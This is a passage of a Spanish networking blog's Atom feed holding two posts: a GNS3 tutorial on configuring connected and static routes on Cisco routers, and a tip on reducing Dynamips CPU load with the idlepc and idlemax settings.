url="http://3.bp.blogspot.com/-vBGC1yYeJN8/Te5-iV5pUCI/AAAAAAAABPE/vmnaE1s9mbk/s72-c/airmon-ng.png" height="72" width="72" /><thr:total>7</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/06/ataque-4-ataque-chopchop-attack-2.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEQERHg6fSp7ImA9WhZUEkg.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-4634880769252664905</id><published>2011-06-03T10:48:00.009-05:00</published><updated>2011-06-05T00:38:25.615-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-05T00:38:25.615-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Routing" /><category scheme="http://www.blogger.com/atom/ns#" term="Layer 3" /><category scheme="http://www.blogger.com/atom/ns#" term="GNS3" /><category scheme="http://www.blogger.com/atom/ns#" term="Cisco Router" /><category scheme="http://www.blogger.com/atom/ns#" term="Dynamips" /><category scheme="http://www.blogger.com/atom/ns#" term="Cisco" /><category scheme="http://www.blogger.com/atom/ns#" term="CCNA" /><title>Rutas Conectadas y Rutas Estáticas</title><content type="html">&lt;div style="text-align: justify;"&gt;Los Routers necesitan tener rutas en sus tablas de enrutamiento IP para poder enviar los paquetes a la direcciónes correctas. Dos formas por el cual un router agrega rutas en su tabla de enrutamiento es aprendiendo o se da cuenta que redes tiene conectadas en sus interfaces y otra forma es mediante la configuración de las rutas desde la configuración global. La siguiente imagen muestra una topologia básica para configurar rutas estáticas.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-7jLRVI2sHs0/TekCfCZ4UbI/AAAAAAAABNE/As1GA8mvdzg/s1600/RutasEstaticas.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 348px; height: 400px;" src="http://4.bp.blogspot.com/-7jLRVI2sHs0/TekCfCZ4UbI/AAAAAAAABNE/As1GA8mvdzg/s400/RutasEstaticas.png" alt="" id="BLOGGER_PHOTO_ID_5614021142738653618" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Topologia Básica de la Red.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;En GNS3, la topologia de rede se vería mas o menos de la siguiente manera.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-m68e96jEfio/TekCmOzOp1I/AAAAAAAABNM/cKld8fwuvXM/s1600/gns3-rutasestaticas.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 337px; height: 227px;" src="http://2.bp.blogspot.com/-m68e96jEfio/TekCmOzOp1I/AAAAAAAABNM/cKld8fwuvXM/s400/gns3-rutasestaticas.png" alt="" id="BLOGGER_PHOTO_ID_5614021266325284690" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style:italic;"&gt;Topologia de Red en GNS3.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Rutas Conectadas.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Configuración de las interfaces en el Router1&lt;br /&gt;&lt;pre&gt;&lt;code&gt;!&lt;br /&gt;interface FastEthernet0/0&lt;br /&gt;ip address 10.1.128.251 255.255.255.0&lt;br /&gt;duplex auto&lt;br /&gt;speed auto&lt;br /&gt;!&lt;br /&gt;interface FastEthernet0/1&lt;br /&gt;ip address 10.1.130.251 255.255.255.0&lt;br /&gt;duplex auto&lt;br /&gt;speed auto&lt;br /&gt;!&lt;br /&gt;interface FastEthernet1/0&lt;br /&gt;ip address 10.1.1.251 255.255.255.0&lt;br /&gt;duplex auto&lt;br /&gt;speed auto&lt;br /&gt;!&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;El comando siguiente muestras el estado de las interfaces en el Router1, como se puede ver las tres interfaces están en estado "up &amp;amp; up" y cada interface tiene configurado una dirección IP.&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show ip int brief&lt;/span&gt;&lt;br /&gt;Interface                  IP-Address      OK? Method Status                Protocol&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;FastEthernet0/0            10.1.128.251    YES manual up                    up&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;FastEthernet0/1            10.1.130.251    YES manual up                    up&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;FastEthernet1/0            10.1.1.251      YES manual up                    up&lt;/span&gt;&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;El siguiente comando nos muestra las rutas conocidas por el Router1, todas las rutas conectadas (C).&lt;br /&gt;&lt;/div&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show ip route&lt;/span&gt;&lt;br /&gt;Codes: &lt;span style="color: rgb(0, 153, 0);"&gt;C - connected&lt;/span&gt;, S - static, R - RIP, M - mobile, B - BGP&lt;br /&gt;D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area&lt;br /&gt;N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2&lt;br /&gt;E1 - OSPF external type 1, E2 - OSPF external type 2&lt;br /&gt;i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2&lt;br /&gt;ia - IS-IS inter area, * - candidate default, U - per-user static route&lt;br /&gt;o - ODR, P - periodic downloaded static route&lt;br /&gt;&lt;br /&gt;Gateway of last resort is not set&lt;br /&gt;&lt;br /&gt;10.0.0.0/24 is subnetted, 3 subnets&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;C       10.1.1.0 is directly connected, FastEthernet1/0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;C       10.1.130.0 is directly connected, FastEthernet0/1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;C       10.1.128.0 is directly connected, FastEthernet0/0&lt;/span&gt;&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;El Router1 agrego las rutas de las tres subredes que se encuentran conectadas a su tabla de enrutamiento. La letra "C" significa "Conectado".&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;Rutas Estáticas&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Las rutas conectadas son importantes, pero los routers suelen necesitar de otras rutas para enviar la información a todas las subredes de una red. Por ejemplo el Router1 puede fácilmente realizar un Ping a las subredes que tiene conectadas, por ejemplo a la subred conectada 10.1.1.0/24. Sin embargo si se realiza un Ping a la subred 10.1.2.0/24 no la conocerá y no podrá llegar a esa subred. Tal como se muestra a continuación.&lt;/div&gt;&lt;br /&gt;Ping a la subred conectada, interface Fa0/0 del Router2.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 10.1.128.252&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.1.128.252, timeout is 2 seconds:&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;!!!!!&lt;/span&gt;&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 20/60/116 ms&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;Ping a la Subred 10.1.2.0/24.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 10.1.2.252&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.1.2.252, timeout is 2 seconds:&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;.....&lt;/span&gt;&lt;br /&gt;Success rate is 0 percent (0/5)&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;El comando Ping envía un paquete de solicitud ICMP (echo request) a la dirección destino. El host destino responde al ping solicitado con un paquete llamada ICMP de respuesta o echo reply. El comando Ping envía el primer paquete y espera la respuesta. Si se recibe una respuesta, el comando muestra un "!". Si no se recibe una respuesta en el tiempo de espera predeterminado de 2 segundos, el comando ping nos muestra un ".".  En el IOS de cisco, el comando Ping envía cinco de estos paquetes de forma predeterminada. En el ejemplo anterior el primer Ping dado a la IP 10.1.128.252 funciona correctamente, ya que nos muestra todos los "!!!!!". Sin embargo, el Ping dado a la dirección IP 10.1.2.252 no funciona, ya que nos muestra todo los ".....", esto es porque el Router1 no tiene una ruta para la subred 10.1.2.0/24 donde se encuentra la IP 10.1.2.252.&lt;br /&gt;&lt;br /&gt;La solución mas sencilla y típica para este problema es configurar un protocolo de enrutamiento en los tres Routers. Sin embargo, en lugar de protocolos de enrutamientos, podemos configurar rutas estáticas. Para configurar rutas estáticas se realiza de la siguiente manera.&lt;/div&gt;&lt;br /&gt;Configurando Rutas Estáticas en el Router1.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;configure terminal&lt;/span&gt;&lt;br /&gt;Router1(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip route 10.1.2.0 255.255.255.0 10.1.128.252&lt;/span&gt;&lt;br /&gt;Router1(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;ip route 10.1.3.0 255.255.255.0 10.1.130.252&lt;/span&gt;&lt;br /&gt;Router1(config)#&lt;span style="color: rgb(51, 255, 51);"&gt;^Z&lt;/span&gt;&lt;br /&gt;Router1#&lt;br /&gt;*Mar  1 00:11:14.279: %SYS-5-CONFIG_I: Configured from console by console&lt;br /&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show ip route static&lt;/span&gt;&lt;br /&gt;10.0.0.0/24 is subnetted, 5 subnets&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;S       10.1.3.0 [1/0] via 10.1.130.252&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;S       10.1.2.0 [1/0] via 10.1.128.252&lt;/span&gt;&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Desde configuración global le indicamos cual sera la subred con su respectiva mascara y la dirección IP del siguiente salto. Ahora el Router1 sabe como enviar las rutas a los demás Routers de la Red. También se muestra el comando show ip route static, con el podemos visualizar que rutas estáticas tenemos configuradas en el Router1. El Signo de "S" significa que la ruta fue configurada estaticamente.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Ping a las demás Subredes.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 10.1.2.252&lt;/span&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.1.2.252, timeout is 2 seconds:&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;!!!!!&lt;/span&gt;&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 8/56/132 ms&lt;br /&gt;&lt;br /&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;ping 10.1.3.253&lt;/span&gt;&lt;br /&gt;Type escape sequence to abort.&lt;br /&gt;Sending 5, 100-byte ICMP Echos to 10.1.3.253, timeout is 2 seconds:&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;!!!!!&lt;/span&gt;&lt;br /&gt;Success rate is 100 percent (5/5), round-trip min/avg/max = 8/44/136 ms&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;Visualizar todas las rutas en el Router1.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;Router1#&lt;span style="color: rgb(51, 255, 51);"&gt;show ip route&lt;/span&gt;&lt;br /&gt;Codes: &lt;span style="color: rgb(0, 153, 0);"&gt;C - connected&lt;/span&gt;, &lt;span style="color: rgb(0, 153, 0);"&gt;S - static&lt;/span&gt;, R - RIP, M - mobile, B - BGP&lt;br /&gt;D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area&lt;br /&gt;N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2&lt;br /&gt;E1 - OSPF external type 1, E2 - OSPF external type 2&lt;br /&gt;i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2&lt;br /&gt;ia - IS-IS inter area, * - candidate default, U - per-user static route&lt;br /&gt;o - ODR, P - periodic downloaded static route&lt;br /&gt;&lt;br /&gt;Gateway of last resort is not set&lt;br /&gt;&lt;br /&gt;10.0.0.0/24 is subnetted, 5 subnets&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;S       10.1.3.0 [1/0] via 10.1.130.252&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;S       10.1.2.0 [1/0] via 10.1.128.252&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;C       10.1.1.0 is directly connected, FastEthernet1/0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;C       10.1.130.0 is directly connected, FastEthernet0/1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;C       10.1.128.0 is directly connected, FastEthernet0/0&lt;/span&gt;&lt;br /&gt;Router1#&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/-Xn5YXyh0bEw/TekCuZG-tfI/AAAAAAAABNU/pny0TUOmZCY/s1600/StaticRoutes.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 199px;" src="http://3.bp.blogspot.com/-Xn5YXyh0bEw/TekCuZG-tfI/AAAAAAAABNU/pny0TUOmZCY/s400/StaticRoutes.png" alt="" id="BLOGGER_PHOTO_ID_5614021406531433970" border="0" /&gt;&lt;/a&gt;Como se puede observar tenemos comunicación con las subredes configuradas, esto solo desde el Router1. En los demás Routers se tiene que hacer el mismo proceso para configurar las rutas estáticas y así tener comunicación con las demás subredes.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-4634880769252664905?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=s19gILvGC60:lRhnqT5uBAI:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=s19gILvGC60:lRhnqT5uBAI:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=s19gILvGC60:lRhnqT5uBAI:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=s19gILvGC60:lRhnqT5uBAI:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:KwTdNBX3Jqk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=s19gILvGC60:lRhnqT5uBAI:KwTdNBX3Jqk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=s19gILvGC60:lRhnqT5uBAI:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=s19gILvGC60:lRhnqT5uBAI:TzevzKxY174"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=TzevzKxY174" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/delfirosales/~4/s19gILvGC60" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://delfirosales.blogspot.com/feeds/4634880769252664905/comments/default" title="Enviar comentarios" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4698096966682789219&amp;postID=4634880769252664905" title="0 comentarios" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/4634880769252664905?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4698096966682789219/posts/default/4634880769252664905?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/delfirosales/~3/s19gILvGC60/rutas-conectadas-y-rutas-estaticas.html" title="Rutas Conectadas y Rutas Estáticas" /><author><name>Delfi</name><uri>http://www.blogger.com/profile/08332248815774447288</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://3.bp.blogspot.com/-c7dEAhIo6nk/TeUWzwi0AJI/AAAAAAAABLA/8Fp_8xJH6I4/s220/pic.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/-7jLRVI2sHs0/TekCfCZ4UbI/AAAAAAAABNE/As1GA8mvdzg/s72-c/RutasEstaticas.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://delfirosales.blogspot.com/2011/06/rutas-conectadas-y-rutas-estaticas.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0cNQ3Y_fSp7ImA9WhZUEUs.&quot;"><id>tag:blogger.com,1999:blog-4698096966682789219.post-2101113246904355519</id><published>2011-06-01T14:19:00.008-05:00</published><updated>2011-06-03T23:18:12.845-05:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-03T23:18:12.845-05:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Herramientas" /><category scheme="http://www.blogger.com/atom/ns#" term="GNS3" /><category scheme="http://www.blogger.com/atom/ns#" term="Cisco IOS" /><category scheme="http://www.blogger.com/atom/ns#" term="Dynamips" /><title>GNS3, impresionado con idlepc + idlemax</title><content type="html">&lt;div style="text-align: justify;"&gt;Todo iba muy bien con el uso de GNS3 en Windows, hasta que me encontré con una topologia de 8 routers corriendo OSPF, donde no podía configurar OSPF en el router 7 y 8, ya que el uso del CPU de mi maquina se disparaba al 100%. Aunque busque la forma de encontrar un mejor idle-pc, seguía al 100%. Lo que hice fue dejar el tema con solo 6 router corriendo OSPF y seguir con la practica aunque incompleta. Por cierto esto no paso con los protocolos de enrutamiento como RIP y EIGRP, en estos escenarios si pude configurar correctamente RIP y EIGRP en los 8 routers sin ningún problema. El problema fue al configurar OSPF.&lt;br /&gt;&lt;br /&gt;Después de unos días, leyendo en algunos blogs, específicamente en el blog de &lt;a href="http://lostintransit.se/"&gt;Daniel Dib&lt;/a&gt;, me encontré con un valor interesante para reducir drásticamente el uso del CPU.&lt;br /&gt;&lt;br /&gt;El valor se llama idlemax que esta relacionado con el famoso valor idle-pc, para reducir muy drásticamente el uso del CPU, el secreto es utilizar los dos valores  (idlepc + idlemax). Como en mi laboratorio de OSPF tenia problemas de inestabilidad, así que decidí probar este valor agregándolo al archivo de configuración .net y estos fueron mis impresiones.&lt;br /&gt;&lt;br /&gt;La siguiente imagen muestra mi topologia en GNS3 ejecutando Frame Relay entre en el R1, R2 y R3. También corriendo OSPF del R1 al R6, sin configurar R7 y R8. Pongan detalle en el uso del CPU.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-kRutpjX17SI/TeaRPmst7uI/AAAAAAAABMQ/ltb__HlJQT4/s1600/ospf.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 219px;" src="http://4.bp.blogspot.com/-kRutpjX17SI/TeaRPmst7uI/AAAAAAAABMQ/ltb__HlJQT4/s400/ospf.jpg" alt="" id="BLOGGER_PHOTO_ID_5613333682836074210" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;El 89% de uso del CPU.&lt;/span&gt;&lt;/div&gt;Configuración del Archivo .net.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;autostart = False&lt;br /&gt;[127.0.0.1:7000]&lt;br /&gt;workingdir = OSPFr6_working&lt;br /&gt;udp = 10000&lt;br /&gt;[[3660]]&lt;br /&gt;image = C:\Program Files\GNS3\ios\c3660-ik9o3s-mz.124-13b.bin&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;idlepc = 0x6051169c&lt;/span&gt;&lt;br /&gt;ghostios = True&lt;br /&gt;chassis = 3660&lt;/code&gt;&lt;/pre&gt;Ahora veamos la gran diferencia utilizando idlepc + idlemax.&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-ArpIKuCxtxk/TeaRBs-T2GI/AAAAAAAABMI/9qBknlSJInA/s1600/idlemax-ospf.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 211px;" src="http://2.bp.blogspot.com/-ArpIKuCxtxk/TeaRBs-T2GI/AAAAAAAABMI/9qBknlSJInA/s400/idlemax-ospf.jpg" alt="" id="BLOGGER_PHOTO_ID_5613333444002306146" border="0" /&gt;&lt;/a&gt;&lt;span style="font-style: italic;"&gt;Solo el 3% utilizando idlepc + idlemax.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Configuración del Archivo .net (uso de idlepc + idlemax).&lt;br /&gt;&lt;pre&gt;&lt;code&gt;autostart = False&lt;br /&gt;[127.0.0.1:7000]&lt;br /&gt;workingdir = OSPFr6_working&lt;br /&gt;udp = 10000&lt;br /&gt;[[3660]]&lt;br /&gt;image = C:\Program Files\GNS3\ios\c3660-ik9o3s-mz.124-13b.bin&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;idlepc = 0x6051169c&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 51);"&gt;idlemax = 100&lt;/span&gt;&lt;br /&gt;ghostios = True&lt;br /&gt;chassis = 3660&lt;/code&gt;&lt;/pre&gt;&lt;div style="text-align: justify;"&gt;Me he quedado impresionado!!. Sin duda es muy útil el usar idlepc + idlemax. Espero que todo salga bien con su topologia.&lt;/div&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;&lt;a href="http://lostintransit.se/2011/05/16/drastically-decreasing-cpu-load-in-dynamips/"&gt;Drastically decreasing CPU load in Dynamips&lt;/a&gt;&lt;br /&gt;&lt;a href="http://journeyofanetworkengineer.blogspot.com/2010/12/how-to-minimize-cpu-usage-when-using.html"&gt;How to minimize CPU utilization when using Dynamips/GNS3 (idlepc + idlemax)&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4698096966682789219-2101113246904355519?l=delfirosales.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:63t7Ie-LG7Y"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=63t7Ie-LG7Y" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:-BTjWOF_DHI"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=3jloMIHjNY4:3D0xUqVUXQY:-BTjWOF_DHI" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:4cEx4HpKnUU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=3jloMIHjNY4:3D0xUqVUXQY:4cEx4HpKnUU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:YwkR-u9nhCs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=YwkR-u9nhCs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=3jloMIHjNY4:3D0xUqVUXQY:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=7Q72WNTAKBA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?i=3jloMIHjNY4:3D0xUqVUXQY:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/delfirosales?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/delfirosales?a=3jloMIHjNY4:3D0xUqVUXQY:KwTdNBX3Jqk"&gt;&lt;img 